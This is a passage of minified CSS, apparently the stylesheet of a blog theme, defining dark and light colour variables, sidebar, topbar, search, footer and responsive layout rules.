124);--heading-color: #cccccc;--blockquote-border-color: rgb(66, 66, 66);--blockquote-text-color: rgb(117, 117, 117);--link-color: rgb(138, 180, 248);--link-underline-color: rgb(82, 108, 150);--button-bg: rgb(39, 40, 43);--btn-border-color: rgb(63, 65, 68);--btn-backtotop-color: var(--text-color);--btn-backtotop-border-color: var(--btn-border-color);--btn-box-shadow: var(--main-wrapper-bg);--card-header-bg: rgb(51, 50, 50);--label-color: rgb(108, 117, 125);--checkbox-color: rgb(118 120 121);--checkbox-checked-color: var(--link-color);--sidebar-bg: radial-gradient(circle, #242424 0%, #1d1f27 100%);--sidebar-muted-color: #6d6c6b;--sidebar-active-color: rgb(255 255 255 / 80%);--nav-cursor-color: rgb(183, 182, 182);--sidebar-btn-bg: rgb(117 116 116 / 20%);--topbar-text-color: var(--text-color);--topbar-wrapper-bg: rgb(39, 40, 43);--search-wrapper-bg: rgb(34, 34, 39);--search-wrapper-border-color: rgb(34, 34, 39);--search-icon-color: rgb(100, 102, 105);--input-focus-border-color: rgb(112, 114, 115);--post-list-text-color: rgb(175, 176, 177);--btn-patinator-text-color: var(--text-color);--btn-paginator-hover-color: rgb(64, 65, 66);--btn-paginator-border-color: var(--btn-border-color);--btn-text-color: var(--text-color);--pin-bg: rgb(34 35 37);--pin-color: inherit;--toc-highlight: rgb(116, 178, 243);--tag-bg: rgb(41, 40, 40);--tag-hover: rgb(43, 56, 62);--tb-odd-bg: rgba(42, 47, 53, 0.52);--tb-even-bg: rgb(31, 31, 34);--tb-border-color: var(--tb-odd-bg);--footnote-target-bg: rgb(63, 81, 181);--btn-share-color: #6c757d;--btn-share-hover-color: #bfc1ca;--relate-post-date: var(--text-muted-color);--card-bg: rgb(39, 40, 43);--card-border-color: rgb(53, 53, 60);--card-box-shadow: var(--main-wrapper-bg);--preview-img-bg: radial-gradient(circle, rgb(22 22 24) 0%, rgb(32 32 32) 100%);--kbd-wrap-color: #6a6a6a;--kbd-text-color: #d3d3d3;--kbd-bg-color: #242424;--prompt-text-color: rgb(216 212 212 / 75%);--prompt-tip-bg: rgba(77, 187, 95, 0.2);--prompt-tip-icon-color: rgb(5 223 5 / 68%);--prompt-info-bg: rgb(7 59 104 / 80%);--prompt-info-icon-color: #0075d1;--prompt-warning-bg: rgb(90 69 3 / 95%);--prompt-warning-icon-color: rgb(255 165 0 / 80%);--prompt-danger-bg: rgb(86 28 8 / 80%);--prompt-danger-icon-color: #cd0202;--tag-border: rgb(59, 79, 88);--tag-shadow: rgb(32, 33, 33);--search-tag-bg: var(--tag-bg);--dash-color: rgb(63, 65, 68);--categories-border: rgb(64, 66, 69);--categories-hover-bg: rgb(73, 75, 76);--categories-icon-hover-color: white;--timeline-node-bg: rgb(150, 152, 156);--timeline-color: rgb(63, 65, 68);--timeline-year-dot-color: var(--timeline-color);color-scheme:dark}html[data-mode=dark] .post img[data-src]{filter:brightness(95%)}html[data-mode=dark] hr{border-color:var(--main-border-color)}html[data-mode=dark] nav[data-toggle=toc] .nav-link.active,html[data-mode=dark] nav[data-toggle=toc] .nav-link.active:focus,html[data-mode=dark] nav[data-toggle=toc] .nav-link.active:hover,html[data-mode=dark] nav[data-toggle=toc] .nav>li>a:focus,html[data-mode=dark] nav[data-toggle=toc] .nav>li>a:hover{color:var(--toc-highlight) !important;border-left-color:var(--toc-highlight) !important}html[data-mode=dark] .categories.card,html[data-mode=dark] .list-group-item{background-color:var(--card-bg)}html[data-mode=dark] .categories .card-header{background-color:var(--card-header-bg)}html[data-mode=dark] .categories .list-group-item{border-left:none;border-right:none;padding-left:2rem;border-color:var(--categories-border)}html[data-mode=dark] .categories .list-group-item:last-child{border-bottom-color:var(--card-bg)}html[data-mode=dark] #archives li:nth-child(odd){background-image:linear-gradient(to left, #1a1a1e, #27272d, #27272d, #27272d, #1a1a1e)}html[data-mode=dark] #disqus_thread{color-scheme:none}}@media (prefers-color-scheme: dark){html:not([data-mode]),html[data-mode=dark]{--body-bg: var(--main-wrapper-bg);--mask-bg: rgb(68, 69, 70);--main-wrapper-bg: rgb(27, 27, 30);--main-border-color: rgb(44, 45, 45);--text-color: rgb(175, 176, 177);--text-muted-color: rgb(107, 116, 124);--heading-color: #cccccc;--blockquote-border-color: rgb(66, 66, 66);--blockquote-text-color: rgb(117, 117, 117);--link-color: rgb(138, 180, 248);--link-underline-color: rgb(82, 108, 150);--button-bg: rgb(39, 40, 43);--btn-border-color: rgb(63, 65, 68);--btn-backtotop-color: var(--text-color);--btn-backtotop-border-color: var(--btn-border-color);--btn-box-shadow: var(--main-wrapper-bg);--card-header-bg: rgb(51, 50, 50);--label-color: rgb(108, 117, 125);--checkbox-color: rgb(118 120 121);--checkbox-checked-color: var(--link-color);--sidebar-bg: radial-gradient(circle, #242424 0%, #1d1f27 100%);--sidebar-muted-color: #6d6c6b;--sidebar-active-color: rgb(255 255 255 / 80%);--nav-cursor-color: rgb(183, 182, 182);--sidebar-btn-bg: rgb(117 116 116 / 20%);--topbar-text-color: var(--text-color);--topbar-wrapper-bg: rgb(39, 40, 43);--search-wrapper-bg: rgb(34, 34, 39);--search-wrapper-border-color: rgb(34, 34, 39);--search-icon-color: rgb(100, 102, 105);--input-focus-border-color: rgb(112, 114, 115);--post-list-text-color: rgb(175, 176, 177);--btn-patinator-text-color: var(--text-color);--btn-paginator-hover-color: rgb(64, 65, 66);--btn-paginator-border-color: var(--btn-border-color);--btn-text-color: var(--text-color);--pin-bg: rgb(34 35 37);--pin-color: inherit;--toc-highlight: rgb(116, 178, 243);--tag-bg: rgb(41, 40, 40);--tag-hover: rgb(43, 56, 62);--tb-odd-bg: rgba(42, 47, 53, 0.52);--tb-even-bg: rgb(31, 31, 34);--tb-border-color: var(--tb-odd-bg);--footnote-target-bg: rgb(63, 81, 181);--btn-share-color: #6c757d;--btn-share-hover-color: #bfc1ca;--relate-post-date: var(--text-muted-color);--card-bg: rgb(39, 40, 43);--card-border-color: rgb(53, 53, 60);--card-box-shadow: var(--main-wrapper-bg);--preview-img-bg: radial-gradient(circle, rgb(22 22 24) 0%, rgb(32 32 32) 100%);--kbd-wrap-color: #6a6a6a;--kbd-text-color: #d3d3d3;--kbd-bg-color: #242424;--prompt-text-color: rgb(216 212 212 / 75%);--prompt-tip-bg: rgba(77, 187, 95, 0.2);--prompt-tip-icon-color: rgb(5 223 5 / 68%);--prompt-info-bg: rgb(7 59 104 / 80%);--prompt-info-icon-color: #0075d1;--prompt-warning-bg: rgb(90 69 3 / 95%);--prompt-warning-icon-color: rgb(255 165 0 / 80%);--prompt-danger-bg: rgb(86 28 8 / 80%);--prompt-danger-icon-color: #cd0202;--tag-border: rgb(59, 79, 88);--tag-shadow: rgb(32, 33, 33);--search-tag-bg: var(--tag-bg);--dash-color: rgb(63, 65, 68);--categories-border: rgb(64, 66, 69);--categories-hover-bg: rgb(73, 75, 76);--categories-icon-hover-color: white;--timeline-node-bg: rgb(150, 152, 156);--timeline-color: rgb(63, 65, 68);--timeline-year-dot-color: var(--timeline-color);color-scheme:dark}html:not([data-mode]) .post img[data-src],html[data-mode=dark] .post img[data-src]{filter:brightness(95%)}html:not([data-mode]) hr,html[data-mode=dark] hr{border-color:var(--main-border-color)}html:not([data-mode]) nav[data-toggle=toc] .nav-link.active,html:not([data-mode]) nav[data-toggle=toc] .nav-link.active:focus,html:not([data-mode]) nav[data-toggle=toc] .nav-link.active:hover,html:not([data-mode]) nav[data-toggle=toc] .nav>li>a:focus,html:not([data-mode]) nav[data-toggle=toc] .nav>li>a:hover,html[data-mode=dark] nav[data-toggle=toc] .nav-link.active,html[data-mode=dark] nav[data-toggle=toc] .nav-link.active:focus,html[data-mode=dark] nav[data-toggle=toc] .nav-link.active:hover,html[data-mode=dark] nav[data-toggle=toc] .nav>li>a:focus,html[data-mode=dark] nav[data-toggle=toc] .nav>li>a:hover{color:var(--toc-highlight) !important;border-left-color:var(--toc-highlight) !important}html:not([data-mode]) .categories.card,html:not([data-mode]) .list-group-item,html[data-mode=dark] .categories.card,html[data-mode=dark] .list-group-item{background-color:var(--card-bg)}html:not([data-mode]) .categories .card-header,html[data-mode=dark] .categories .card-header{background-color:var(--card-header-bg)}html:not([data-mode]) .categories .list-group-item,html[data-mode=dark] .categories .list-group-item{border-left:none;border-right:none;padding-left:2rem;border-color:var(--categories-border)}html:not([data-mode]) .categories .list-group-item:last-child,html[data-mode=dark] .categories .list-group-item:last-child{border-bottom-color:var(--card-bg)}html:not([data-mode]) #archives li:nth-child(odd),html[data-mode=dark] #archives li:nth-child(odd){background-image:linear-gradient(to left, #1a1a1e, #27272d, #27272d, #27272d, #1a1a1e)}html:not([data-mode]) #disqus_thread,html[data-mode=dark] #disqus_thread{color-scheme:none}html[data-mode=light]{--body-bg: #fafafa;--mask-bg: #c1c3c5;--main-wrapper-bg: white;--main-border-color: #f3f3f3;--text-color: #34343c;--text-muted-color: gray;--heading-color: black;--blockquote-border-color: #eee;--blockquote-text-color: #9a9a9a;--link-color: #2a408e;--link-underline-color: #dee2e6;--button-bg: #fff;--btn-border-color: #e9ecef;--btn-backtotop-color: #686868;--btn-backtotop-border-color: #f1f1f1;--btn-box-shadow: #eaeaea;--checkbox-color: #c5c5c5;--checkbox-checked-color: #07a8f7;--sidebar-bg: #eeeeee;--sidebar-muted-color: #a2a19f;--sidebar-active-color: #424242;--nav-cursor-color: #757575;--sidebar-btn-bg: white;--topbar-text-color: rgb(78, 78, 78);--topbar-wrapper-bg: white;--search-wrapper-bg: rgb(245 245 245 / 50%);--search-wrapper-border-color: rgb(245 245 245);--search-tag-bg: #f8f9fa;--search-icon-color: #c2c6cc;--input-focus-border-color: var(--btn-border-color);--post-list-text-color: dimgray;--btn-patinator-text-color: #555555;--btn-paginator-hover-color: var(--sidebar-bg);--btn-paginator-border-color: var(--sidebar-bg);--btn-text-color: #676666;--pin-bg: #f5f5f5;--pin-color: #999fa4;--btn-share-hover-color: var(--link-color);--card-border-color: #f1f1f1;--card-box-shadow: rgba(234, 234, 234, 0.7686274509803922);--label-color: #616161;--relate-post-date: rgba(30, 55, 70, 0.4);--footnote-target-bg: lightcyan;--tag-bg: rgba(0, 0, 0, 0.075);--tag-border: #dee2e6;--tag-shadow: var(--btn-border-color);--tag-hover: rgb(222, 226, 230);--tb-odd-bg: #fbfcfd;--tb-border-color: #eaeaea;--dash-color: silver;--preview-img-bg: radial-gradient(circle, rgb(255 255 255) 0%, rgb(249 249 249) 100%);--kbd-wrap-color: #bdbdbd;--kbd-text-color: var(--text-color);--kbd-bg-color: white;--prompt-text-color: rgb(46 46 46 / 77%);--prompt-tip-bg: rgb(123 247 144 / 20%);--prompt-tip-icon-color: #03b303;--prompt-info-bg: #e1f5fe;--prompt-info-icon-color: #0070cb;--prompt-warning-bg: rgb(255 243 205);--prompt-warning-icon-color: #ef9c03;--prompt-danger-bg: rgb(248 215 218 / 56%);--prompt-danger-icon-color: #df3c30;--categories-hover-bg: var(--btn-border-color);--categories-icon-hover-color: darkslategray;--timeline-color: rgba(0, 0, 0, 0.075);--timeline-node-bg: #c2c6cc;--timeline-year-dot-color: #ffffff}html[data-mode=light] [class^=prompt-]{--link-underline-color: rgb(219 216 216)}}body{line-height:1.75rem;background:var(--body-bg);color:var(--text-color);-webkit-font-smoothing:antialiased;font-family:'Source Sans Pro', 'Microsoft Yahei', sans-serif}h1{font-size:1.9rem}h2{font-size:1.5rem}h3{font-size:1.2rem}h4{font-size:1.15rem}h5{font-size:1.1rem}ol ol,ol ul,ul ol,ul ul{margin-bottom:1rem}img{max-width:100%;height:auto}blockquote{border-left:5px solid var(--blockquote-border-color);padding-left:1rem;color:var(--blockquote-text-color)}blockquote[class^="prompt-"]{display:flex;border-left:0;border-radius:6px;padding:0.75rem 1.2rem;color:var(--prompt-text-color)}blockquote[class^="prompt-"]::before{margin-right:1rem;font-family:"Font Awesome 5 Free";text-align:center;width:1.25rem}blockquote[class^="prompt-"] p:last-child{margin-bottom:0rem}blockquote.prompt-tip{background-color:var(--prompt-tip-bg)}blockquote.prompt-tip::before{content:"";color:var(--prompt-tip-icon-color);font-weight:400}blockquote.prompt-info{background-color:var(--prompt-info-bg)}blockquote.prompt-info::before{content:"";color:var(--prompt-info-icon-color);font-weight:900}blockquote.prompt-warning{background-color:var(--prompt-warning-bg)}blockquote.prompt-warning::before{content:"";color:var(--prompt-warning-icon-color);font-weight:900}blockquote.prompt-danger{background-color:var(--prompt-danger-bg)}blockquote.prompt-danger::before{content:"";color:var(--prompt-danger-icon-color);font-weight:900}kbd{font-family:inherit;display:inline-block;vertical-align:middle;line-height:1.3rem;min-width:1.75rem;text-align:center;margin:0 0.3rem;padding-top:0.1rem;color:var(--kbd-text-color);background-color:var(--kbd-bg-color);border-radius:0.25rem;border:solid 1px var(--kbd-wrap-color);box-shadow:inset 0 -2px 0 var(--kbd-wrap-color)}footer{position:absolute;bottom:0;padding:0 1rem;height:5rem;font-size:0.8rem}footer>div.d-flex{line-height:1.2rem;width:95%;max-width:1045px;border-top:1px solid var(--main-border-color);margin-bottom:1rem}footer>div.d-flex>div{width:350px}footer a:link{text-decoration:none}footer a:hover{text-decoration:none}footer .footer-right{text-align:right}@keyframes fade-in{from{opacity:0}to{opacity:1}}img[data-src]{margin:0.5rem 0}img[data-src][data-loaded=true]{animation:fade-in linear 0.5s}img.left[data-src]{float:left;margin:0.75rem 1rem 1rem 0}img.right[data-src]{float:right;margin:0.75rem 0 1rem 1rem}img.shadow[data-src]{filter:drop-shadow(2px 4px 6px rgba(0,0,0,0.08));box-shadow:none !important}.access{top:2rem;transition:top 0.2s ease-in-out;margin-right:1.5rem;margin-top:3rem;margin-bottom:4rem}.access:only-child{position:-webkit-sticky;position:sticky}.access>div{padding-left:1rem;border-left:1px solid var(--main-border-color)}.access>div:not(:last-child){margin-bottom:4rem}.access .post-content{font-size:0.9rem}#panel-wrapper .panel-heading{color:var(--label-color);font-size:inherit;font-weight:600}#panel-wrapper .post-tag{display:inline-block;line-height:1rem;font-size:0.85rem;background:none;border:1px solid var(--btn-border-color);border-radius:0.8rem;padding:0.3rem 0.5rem;margin:0 0.35rem 0.5rem 0}#panel-wrapper .post-tag:hover{background-color:#2a408e;border-color:#2a408e;color:#fff;transition:none}[data-topbar-visible=true] #panel-wrapper>div{top:6rem}#access-lastmod li{height:1.8rem;overflow:hidden;text-overflow:ellipsis;display:-webkit-box;-webkit-line-clamp:1;-webkit-box-orient:vertical;list-style:none}#access-lastmod a{color:inherit}.footnotes>ol{padding-left:2rem;margin-top:0.5rem}.footnotes>ol>li:not(:last-child){margin-bottom:0.3rem}.footnotes>ol>li>p{margin-left:0.25em;margin-top:0;margin-bottom:0}.footnotes>ol>li:target:not([scroll-focus]),.footnotes>ol>li[scroll-focus=true]>p{background-color:var(--footnote-target-bg);width:fit-content;-webkit-transition:background-color 1.5s ease-in-out;transition:background-color 1.5s ease-in-out}a.footnote{margin-left:1px;margin-right:1px;padding-left:2px;padding-right:2px;border-bottom-style:none !important;-webkit-transition:background-color 1.5s ease-in-out;transition:background-color 1.5s ease-in-out}sup:target:not([scroll-focus]),sup[scroll-focus=true]>a.footnote{background-color:var(--footnote-target-bg)}a.reversefootnote{font-size:0.6rem;line-height:1;position:relative;bottom:0.25em;margin-left:0.25em;border-bottom-style:none !important}.table-wrapper{overflow-x:auto;margin-bottom:1.5rem}.table-wrapper>table{min-width:100%;overflow-x:auto;border-spacing:0}.table-wrapper>table thead{border-bottom:solid 2px rgba(210,215,217,0.75)}.table-wrapper>table tbody tr{border-bottom:1px solid var(--tb-border-color)}.table-wrapper>table tbody tr:nth-child(2n){background-color:var(--tb-even-bg)}.table-wrapper>table tbody tr:nth-child(2n + 1){background-color:var(--tb-odd-bg)}.post h1{margin-top:3rem;margin-bottom:1.5rem}.post a.popup{cursor:zoom-in}.post a.popup>img[data-src]:not(.normal):not(.left):not(.right){position:relative;left:50%;-webkit-transform:translateX(-50%);-ms-transform:translateX(-50%);transform:translateX(-50%)}.pageviews .fa-spinner{font-size:80%}.post-meta{font-size:0.85rem;word-spacing:1px}.post-meta a:not(:last-child){margin-right:2px}.post-content{font-size:1.08rem;line-height:1.8;margin-top:2rem;overflow-wrap:break-word;word-wrap:break-word}.post-content ul .task-list-item[hide-bullet]{list-style-type:none}.post-content ul .task-list-item[hide-bullet]>i{margin:0 0.4rem 0.2rem -1.4rem;vertical-align:middle;color:var(--checkbox-color)}.post-content ul .task-list-item[hide-bullet]>i.checked{color:var(--checkbox-checked-color)}.post-content ul input[type=checkbox]{margin:0 0.5rem 0.2rem -1.3rem;vertical-align:middle}.post-content>ol,.post-content>ul{padding-left:2rem}.post-content>ol li ol,.post-content>ol li ul,.post-content>ul li ol,.post-content>ul li ul{padding-left:2rem;margin-top:0.3rem}.post-content>ol li{padding-left:0.25em}.post-content dl>dd{margin-left:1rem}.post-tag{display:inline-block;min-width:2rem;text-align:center;background:var(--tag-bg);border-radius:0.3rem;padding:0 0.4rem;color:inherit;line-height:1.3rem}.post-tag:not(:last-child){margin-right:0.2rem}.post-tag:hover{border-bottom:none;text-decoration:none;color:#d2603a}.btn-lang{border:1px solid !important;padding:1px 3px;border-radius:3px;color:var(--link-color)}.btn-lang:focus{box-shadow:none}.loaded{display:block !important}.d-flex.loaded{display:flex !important}.unloaded{display:none !important}.visible{visibility:visible !important}.hidden{visibility:hidden !important}.flex-grow-1{-ms-flex-positive:1 !important;flex-grow:1 !important}.btn-box-shadow{box-shadow:0 0 8px 0 var(--btn-box-shadow) !important}.no-text-decoration{text-decoration:none}.tooltip-inner{font-size:0.7rem;max-width:220px;text-align:left}.disabled{color:#cec4c4;pointer-events:auto;cursor:not-allowed}.hide-border-bottom{border-bottom:none !important}.input-focus{box-shadow:none;border-color:var(--input-focus-border-color) !important;background:center !important;transition:background-color 0.15s ease-in-out, border-color 0.15s ease-in-out}figure .mfp-title{text-align:center;padding-right:0;margin-top:0.5rem}.mermaid{text-align:center}#sidebar{padding-left:0;padding-right:0;position:fixed;top:0;left:0;height:100%;overflow-y:auto;width:260px;z-index:99;background:var(--sidebar-bg);-ms-overflow-style:none;scrollbar-width:none}#sidebar::-webkit-scrollbar{display:none}#sidebar a:hover{text-decoration:none;color:var(--sidebar-active-color) !important}#sidebar #avatar>a{display:block;width:6rem;height:6rem;border-radius:50%;border:2px solid rgba(222,222,222,0.7);overflow:hidden;transform:translateZ(0);-webkit-transition:border-color 0.35s ease-in-out;-moz-transition:border-color 0.35s ease-in-out;transition:border-color 0.35s ease-in-out}#sidebar #avatar>a:hover{border-color:white}#sidebar #avatar img{width:100%;height:100%;-webkit-transition:transform 0.5s;-moz-transition:transform 0.5s;transition:transform 0.5s}#sidebar #avatar img:hover{-ms-transform:scale(1.2);-moz-transform:scale(1.2);-webkit-transform:scale(1.2);transform:scale(1.2)}#sidebar .site-title a{font-weight:900;font-size:1.5rem;letter-spacing:0.5px;color:#868585}#sidebar .site-subtitle{font-size:95%;color:var(--sidebar-muted-color);line-height:1.2rem;word-spacing:1px;margin:0.5rem 1.5rem 0.5rem 1.5rem;min-height:3rem;user-select:none}#sidebar .nav-link{border-radius:0;font-size:0.95rem;font-weight:600;letter-spacing:1px;display:table-cell;vertical-align:middle}#sidebar .nav-item{text-align:center;display:table;height:3rem}#sidebar .nav-item.active .nav-link{color:var(--sidebar-active-color)}#sidebar ul{height:15rem;margin-bottom:2rem;padding-left:0}#sidebar ul li{width:100%}#sidebar ul li:last-child a{position:relative;left:1px;width:100%}#sidebar ul li:last-child::after{display:table;visibility:hidden;content:"";position:relative;right:1px;width:2px;height:1.6rem;border-radius:1px;background-color:var(--nav-cursor-color);pointer-events:none}#sidebar ul>li.active:nth-child(1)~li:last-child::after,#sidebar ul>li.nav-item:nth-child(1):hover~li:last-child::after{top:-11.3rem;visibility:visible}#sidebar ul>li.active:nth-child(2)~li:last-child::after,#sidebar ul>li.nav-item:nth-child(2):hover~li:last-child::after{top:-8.3rem;visibility:visible}#sidebar ul>li.active:nth-child(3)~li:last-child::after,#sidebar ul>li.nav-item:nth-child(3):hover~li:last-child::after{top:-5.3rem;visibility:visible}#sidebar ul>li.active:nth-child(4)~li:last-child::after,#sidebar ul>li.nav-item:nth-child(4):hover~li:last-child::after{top:-2.3rem;visibility:visible}#sidebar ul>li.active:nth-child(5):last-child::after,#sidebar ul>li.nav-item:nth-child(5):last-child:hover::after{top:.7rem;visibility:visible}#sidebar .sidebar-bottom{margin-bottom:2.1rem;margin-left:auto;margin-right:auto;padding-left:1rem;padding-right:1rem}#sidebar .sidebar-bottom .mode-toggle,#sidebar .sidebar-bottom a{width:2.4rem;text-align:center}#sidebar .sidebar-bottom i{font-size:1.2rem;line-height:1.75rem}#sidebar .sidebar-bottom .mode-toggle{padding:0;border:0;margin-bottom:1px;background-color:transparent}#sidebar .sidebar-bottom .mode-toggle:hover>i{color:var(--sidebar-active-color)}#sidebar .sidebar-bottom .icon-border{background-color:var(--sidebar-muted-color);content:"";width:3px;height:3px;border-radius:50%}@media (hover: hover){#sidebar ul>li:last-child::after{-webkit-transition:top 0.5s ease;-moz-transition:top 0.5s ease;-o-transition:top 0.5s ease;transition:top 0.5s ease}}.profile-wrapper{margin-top:2rem;width:100%}#search-result-wrapper{display:none;height:100%;overflow:auto}#search-result-wrapper .post-content{margin-top:2rem}#topbar-wrapper{height:3rem;position:fixed;top:0;left:260px;right:0;transition:top 0.2s ease-in-out;z-index:50;border-bottom:1px solid rgba(0,0,0,0.07);background-color:var(--topbar-wrapper-bg)}[data-topbar-visible=false] #topbar-wrapper{top:-3rem}#topbar i{color:#999}#topbar #breadcrumb{font-size:1rem;color:gray;padding-left:0.5rem}#topbar #breadcrumb span:not(:last-child)::after{content:"›";padding:0 0.3rem}#sidebar-trigger,#search-trigger{display:none}#search-wrapper{display:flex;width:85%;border-radius:1rem;border:1px solid var(--search-wrapper-border-color);background:var(--search-wrapper-bg);padding:0 0.5rem}#search-wrapper i{z-index:2;font-size:0.9rem;color:var(--search-icon-color)}#search-cancel{color:var(--link-color);margin-left:1rem;display:none}#search-input{background:center;border:0;border-radius:0;padding:0.18rem 0.3rem;color:var(--text-color);height:auto}#search-input:focus{box-shadow:none;background:center}#search-input.form-control:focus::-webkit-input-placeholder{opacity:0.6}#search-input.form-control:focus::-moz-placeholder{opacity:0.6}#search-input.form-control:focus:-ms-input-placeholder{opacity:0.6}#search-input.form-control:focus::placeholder{opacity:0.6}#search-hints{padding:0 1rem}#search-hints h4{margin-bottom:1.5rem}#search-hints .post-tag{display:inline-block;line-height:1rem;font-size:1rem;background:var(--search-tag-bg);border:none;padding:0.5rem;margin:0 1.25rem 1rem 0}#search-hints .post-tag::before{content:"#";color:var(--text-muted-color);padding-right:0.2rem}#search-results{padding-bottom:6rem}#search-results a{font-size:1.4rem;line-height:2.5rem}#search-results>div{width:100%}#search-results>div:not(:last-child){margin-bottom:1rem}#search-results>div i{color:#818182;margin-right:0.15rem;font-size:80%}#search-results>div>p{overflow:hidden;text-overflow:ellipsis;display:-webkit-box;-webkit-line-clamp:3;-webkit-box-orient:vertical}#topbar-title{display:none;font-size:1.1rem;font-weight:600;font-family:sans-serif;color:var(--topbar-text-color);text-align:center;width:70%;overflow:hidden;text-overflow:ellipsis;word-break:keep-all;white-space:nowrap}#core-wrapper{min-height:calc(100vh - 3rem - 5rem - 35rem) !important}#mask{display:none;position:fixed;top:0;right:0;bottom:0;left:0;height:100%;width:100%;z-index:1}[sidebar-display] #mask{display:block !important}#main-wrapper{background-color:var(--main-wrapper-bg);position:relative;min-height:100vh;padding-bottom:5rem;padding-left:0;padding-right:0}#main .row:first-child>div:nth-child(1),#main .row:first-child>div:nth-child(2){margin-top:3rem}#main .row:first-child>div:first-child{min-height:calc(100vh - 3rem - 5rem - 35rem)}#main div.row:first-of-type:last-of-type{margin-bottom:4rem}#topbar-wrapper.row,#main>.row,#search-result-wrapper>.row{margin-left:0;margin-right:0}#back-to-top{display:none;z-index:1;cursor:pointer;position:fixed;background:var(--button-bg);color:var(--btn-backtotop-color);padding:0;width:2.7em;height:2.7em;border-radius:50%;border:1px solid var(--btn-backtotop-border-color);transition:transform 0.2s ease-out;-webkit-transition:transform 0.2s ease-out}#back-to-top i{line-height:2.7em;position:relative;bottom:2px}#back-to-top:hover{transform:translate3d(0, -5px, 0);-webkit-transform:translate3d(0, -5px, 0)}@media all and (max-width: 576px){footer{height:6rem}footer>div.d-flex{width:100%;padding:1.5rem 0;margin-bottom:0.3rem;flex-wrap:wrap;-ms-flex-pack:distribute !important;justify-content:space-around !important}footer .footer-left,footer .footer-right{text-align:center}#main>div.row:first-child>div:first-child{min-height:calc(100vh - 3rem - 6rem)}#core-wrapper{min-height:calc(100vh - 3rem - 6rem - 35rem) !important}#core-wrapper h1{margin-top:2.2rem;font-size:1.75rem}#core-wrapper .post-content>blockquote[class^=prompt-]{margin-left:-1.25rem;margin-right:-1.25rem;border-radius:0}#avatar>a{width:5rem;height:5rem}.site-subtitle{margin-left:1.8rem;margin-right:1.8rem}#main-wrapper{padding-bottom:6rem}}@media all and (max-width: 849px){html,body{overflow-x:hidden}[sidebar-display] #sidebar{transform:translateX(0)}[sidebar-display] #topbar-wrapper,[sidebar-display] #main-wrapper{transform:translateX(260px)}#sidebar{-webkit-transition:transform 0.4s ease;transition:transform 0.4s ease;transform:translateX(-260px);-webkit-transform:translateX(-260px)}#sidebar .cursor{-webkit-transition:none;-moz-transition:none;transition:none}#main-wrapper{-webkit-transition:transform 0.4s ease;transition:transform 0.4s ease;padding-top:3rem}#search-result-wrapper{width:100%}#breadcrumb,#search-wrapper{display:none}#topbar-wrapper{-webkit-transition:transform 0.4s ease, top 0.2s ease;transition:transform 0.4s ease, top 0.2s ease;left:0}#main>div.row:first-child>div:nth-child(1),#main>div.row:first-child>div:nth-child(2){margin-top:0}#topbar-title,#sidebar-trigger,#search-trigger{display:block}#search-wrapper.loaded~a{margin-right:1rem}#search-input{margin-left:0;width:95%}#search-result-wrapper .post-content{letter-spacing:0}#tags{-webkit-box-pack:center !important;-ms-flex-pack:center !important;justify-content:center !important}h1.dynamic-title{display:none}h1.dynamic-title~.post-content{margin-top:3rem}}@media all and (max-width: 849px) and (orientation: portrait){[data-topbar-visible=false] #topbar-wrapper{top:0}}@media all and (min-width: 577px) and (max-width: 1199px){footer>.d-flex>div{width:312px}}@media all and (min-width: 850px){html{overflow-y:scroll}#main-wrapper{margin-left:260px}.profile-wrapper{margin-top:3rem}#search-wrapper{width:22%;min-width:150px}#search-hints{display:none}#search-result-wrapper{margin-top:3rem}div.post-content .table-wrapper>table{min-width:70%}#back-to-top{bottom:5.5rem;right:1.2rem}#topbar-title{text-align:left}footer>div.d-flex{width:92%}}@media all and (min-width: 992px) and (max-width: 1199px){#main .col-lg-11{-webkit-box-flex:0;-ms-flex:0 0 96%;flex:0 0 96%;max-width:96%}}@media all and (min-width: 850px) and (max-width: 1199px){#sidebar{width:210px}#sidebar .site-subtitle{margin-left:1rem;margin-right:1rem}#sidebar .sidebar-bottom a,#sidebar .sidebar-bottom span{width:2rem}#sidebar .sidebar-bottom .icon-border{left:-3px}#topbar-wrapper{left:210px}#search-results>div{max-width:700px}.site-title{font-size:1.3rem;margin-left:0 !important}.site-subtitle{margin-left:1rem;margin-right:1rem;font-size:90%}#main-wrapper{margin-left:210px}#breadcrumb{width:65%;overflow:hidden;text-overflow:ellipsis;word-break:keep-all;white-space:nowrap}}@media all and (max-width: 1199px){#panel-wrapper{display:none}#topbar{padding:0}#main>div.row{-webkit-box-pack:center !important;-ms-flex-pack:center !important;justify-content:center !important}}@media all and (min-width: 1200px){#main>div.row>div.col-xl-8{-webkit-box-flex:0;-ms-flex:0 0 75%;flex:0 0 75%;max-width:75%;padding-left:3%}#topbar{padding:0;max-width:1070px}#panel-wrapper{max-width:300px}#back-to-top{bottom:6.5rem;right:4.3rem}#search-input{-webkit-transition:all 0.3s ease-in-out;transition:all 0.3s ease-in-out}#search-results>div{width:46%}#search-results>div:nth-child(odd){margin-right:1.5rem}#search-results>div:nth-child(even){margin-left:1.5rem}#search-results>div:last-child:nth-child(odd){position:relative;right:24.3%}.post-content{font-size:1.03rem}footer>div.d-felx{width:85%}}@media all and (min-width: 1400px){#main>div.row{padding-left:calc((100% - 1150px) / 2)}#main>div.row>div.col-xl-8{max-width:850px}#search-result-wrapper{padding-right:2rem}#search-result-wrapper>div{max-width:1110px}}@media all and (min-width: 1400px) and (max-width: 1650px){#topbar{padding-right:2rem}}@media all and (min-width: 1650px){#breadcrumb{padding-left:0}#main>div.row>div.col-xl-8{padding-left:0}#main>div.row>div.col-xl-8>div:first-child{padding-left:0.55rem !important;padding-right:1.9rem !important}#main-wrapper{margin-left:350px}#panel-wrapper{margin-left:calc((100% - 1150px) / 10)}#topbar-wrapper{left:350px}#topbar{max-width:1150px}#search-wrapper{margin-right:3%}#sidebar{width:350px}#sidebar .profile-wrapper{margin-top:4rem;margin-bottom:1rem}#sidebar .profile-wrapper.text-center{text-align:left !important}#sidebar .profile-wrapper .site-subtitle,#sidebar .profile-wrapper .site-title,#sidebar .profile-wrapper #avatar{margin-left:4.5rem}#sidebar .profile-wrapper #avatar>a{width:6.2rem;height:6.2rem}#sidebar .profile-wrapper #avatar>a.mx-auto{margin-left:0 !important}#sidebar .profile-wrapper .site-title a{font-size:1.7rem;letter-spacing:1px}#sidebar .profile-wrapper .site-subtitle{word-spacing:0;margin-top:0.3rem}#sidebar ul{padding-left:2.5rem}#sidebar ul>li:last-child>a{position:static}#sidebar ul .nav-item{text-align:left}#sidebar ul .nav-item .nav-link>span{letter-spacing:2px}#sidebar ul .nav-item .nav-link>i.unloaded{display:inline-block !important}#sidebar 